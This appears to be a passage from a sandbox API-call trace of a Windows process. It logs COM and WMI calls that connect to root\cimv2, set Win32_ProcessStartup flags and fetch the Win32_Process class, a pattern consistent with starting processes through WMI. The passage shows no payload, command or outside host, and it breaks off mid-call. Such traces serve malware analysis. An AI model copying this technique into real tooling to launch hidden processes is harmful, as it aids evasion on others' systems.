WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a320, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0133.552] WbemDefPath:IUnknown:Release (This=0x1bc1a320) returned 0x2 [0133.552] WbemDefPath:IUnknown:Release (This=0x1bc1a320) returned 0x1 [0133.552] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0133.552] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0133.552] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a320, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc1a320) returned 0x0 [0133.552] WbemDefPath:IUnknown:AddRef (This=0x1bc1a320) returned 0x3 [0133.552] WbemDefPath:IUnknown:Release (This=0x1bc1a320) returned 0x2 [0133.553] WbemDefPath:IWbemPath:SetText (This=0x1bc1a320, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0133.553] IWbemClassObject:Get (in: This=0x1bbd6650, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2835d08*=0, plFlavor=0x2835d0c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2835d08*=19, plFlavor=0x2835d0c*=0) returned 0x0 [0133.553] IWbemClassObject:Get (in: This=0x1bbd6650, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2835d08*=19, plFlavor=0x2835d0c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2835d08*=19, plFlavor=0x2835d0c*=0) returned 0x0 [0133.553] IWbemClassObject:Put (This=0x1bbd6650, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0133.553] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbc0a20, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0133.553] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0133.553] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0133.553] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.553] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0133.553] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0133.553] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0133.553] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.555] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc0f020) returned 0x0 [0133.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0f020, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0133.555] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0f020, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc1a3e0) returned 0x0 [0133.555] WbemDefPath:IUnknown:Release (This=0x1bc0f020) returned 0x0 [0133.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a3e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc1a3e0) returned 0x0 [0133.555] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a3e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0133.556] WbemDefPath:IUnknown:AddRef (This=0x1bc1a3e0) returned 0x3 [0133.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a3e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0133.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a3e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0133.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a3e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc0f060) returned 0x0 [0133.556] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc0f060, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0133.556] WbemDefPath:IUnknown:Release (This=0x1bc0f060) returned 0x3 [0133.556] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0133.556] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0133.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a3e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0133.556] WbemDefPath:IUnknown:Release (This=0x1bc1a3e0) returned 0x2 [0133.556] WbemDefPath:IUnknown:Release (This=0x1bc1a3e0) returned 0x1 [0133.556] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0133.556] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0133.556] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a3e0, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc1a3e0) returned 0x0 [0133.556] WbemDefPath:IUnknown:AddRef (This=0x1bc1a3e0) returned 0x3 [0133.556] WbemDefPath:IUnknown:Release (This=0x1bc1a3e0) returned 0x2 [0133.556] WbemDefPath:IWbemPath:SetText (This=0x1bc1a3e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0133.556] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a3e0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0133.556] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0133.556] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.556] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0133.557] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0133.557] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0133.557] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.558] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc0f160) returned 0x0 [0133.558] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f160, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0133.558] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc0f160, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc0f180) returned 0x0 [0133.558] WbemLocator:IUnknown:Release (This=0x1bc0f160) returned 0x0 [0133.558] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f180, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc0f180) returned 0x0 [0133.558] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f180, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0133.558] WbemLocator:IUnknown:AddRef (This=0x1bc0f180) returned 0x3 [0133.558] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f180, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0133.558] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f180, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0133.558] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f180, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0133.558] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0133.558] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0133.558] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f180, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0133.559] WbemLocator:IUnknown:Release (This=0x1bc0f180) returned 0x2 [0133.559] WbemLocator:IUnknown:Release (This=0x1bc0f180) returned 0x1 [0133.559] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0133.559] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0133.559] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f180, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc0f180) returned 0x0 [0133.559] WbemLocator:IUnknown:AddRef (This=0x1bc0f180) returned 0x3 [0133.559] WbemLocator:IUnknown:Release (This=0x1bc0f180) returned 0x2 [0133.559] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a3e0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0133.559] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0133.559] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.559] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc0f1a0) returned 0x0 [0133.559] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc0f1a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc0b570) returned 0x0 [0133.595] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b570, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa03b20) returned 0x0 [0133.595] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa03b20, pProxy=0x1bc0b570, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0133.595] WbemLocator:IUnknown:Release (This=0x1aa03b20) returned 0x1 [0133.595] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b570, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa03b60) returned 0x0 [0133.595] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b570, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa03b20) returned 0x0 [0133.595] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa03b20, pProxy=0x1bc0b570, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0133.595] WbemLocator:IUnknown:Release (This=0x1aa03b20) returned 0x2 [0133.595] WbemLocator:IUnknown:Release (This=0x1aa03b60) returned 0x1 [0133.595] CoTaskMemFree (pv=0x1bc1b320) [0133.596] WbemLocator:IUnknown:AddRef (This=0x1bc0b570) returned 0x2 [0133.596] WbemLocator:IUnknown:Release (This=0x1bc0f1a0) returned 0x0 [0133.596] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0133.596] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0133.596] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b570, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa03b30) returned 0x0 [0133.596] WbemLocator:IRpcOptions:Query (in: This=0x1aa03b30, pPrx=0x1bc0f200, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0133.596] WbemLocator:IUnknown:Release (This=0x1aa03b30) returned 0x2 [0133.596] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0133.596] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0133.596] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0b570, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc0b570) returned 0x0 [0133.597] WbemLocator:IUnknown:Release (This=0x1bc0b570) returned 0x2 [0133.597] SysStringLen (param_1=0x0) returned 0x0 [0133.597] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc1a3e0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0133.597] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0133.597] WbemDefPath:IWbemPath:GetText (in: This=0x1bc1a3e0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0133.597] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0a20, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0133.597] WbemDefPath:IWbemPath:GetText (in: This=0x1bbc0a20, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0133.597] IWbemServices:GetObject (in: This=0x1bc0b570, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bbd69c0, ppCallResult=0x0) returned 0x0 [0133.600] IWbemClassObject:Get (in: This=0x1bbd69c0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0133.600] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0133.600] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0133.600] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0133.600] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0133.600] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0133.600] IUnknown:Release (This=0x1a943398) returned 0x1 [0133.602] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc0f1a0) returned 0x0 [0133.602] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc0f1a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0133.602] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc0f1a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc1a4a0) returned 0x0 [0133.602] WbemDefPath:IUnknown:Release (This=0x1bc0f1a0) returned 0x0 [0133.602] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a4a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc1a4a0) returned 0x0 [0133.602] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a4a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0133.603] WbemDefPath:IUnknown:AddRef (This=0x1bc1a4a0) returned 0x3 [0133.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a4a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0133.603] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc1a4a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, 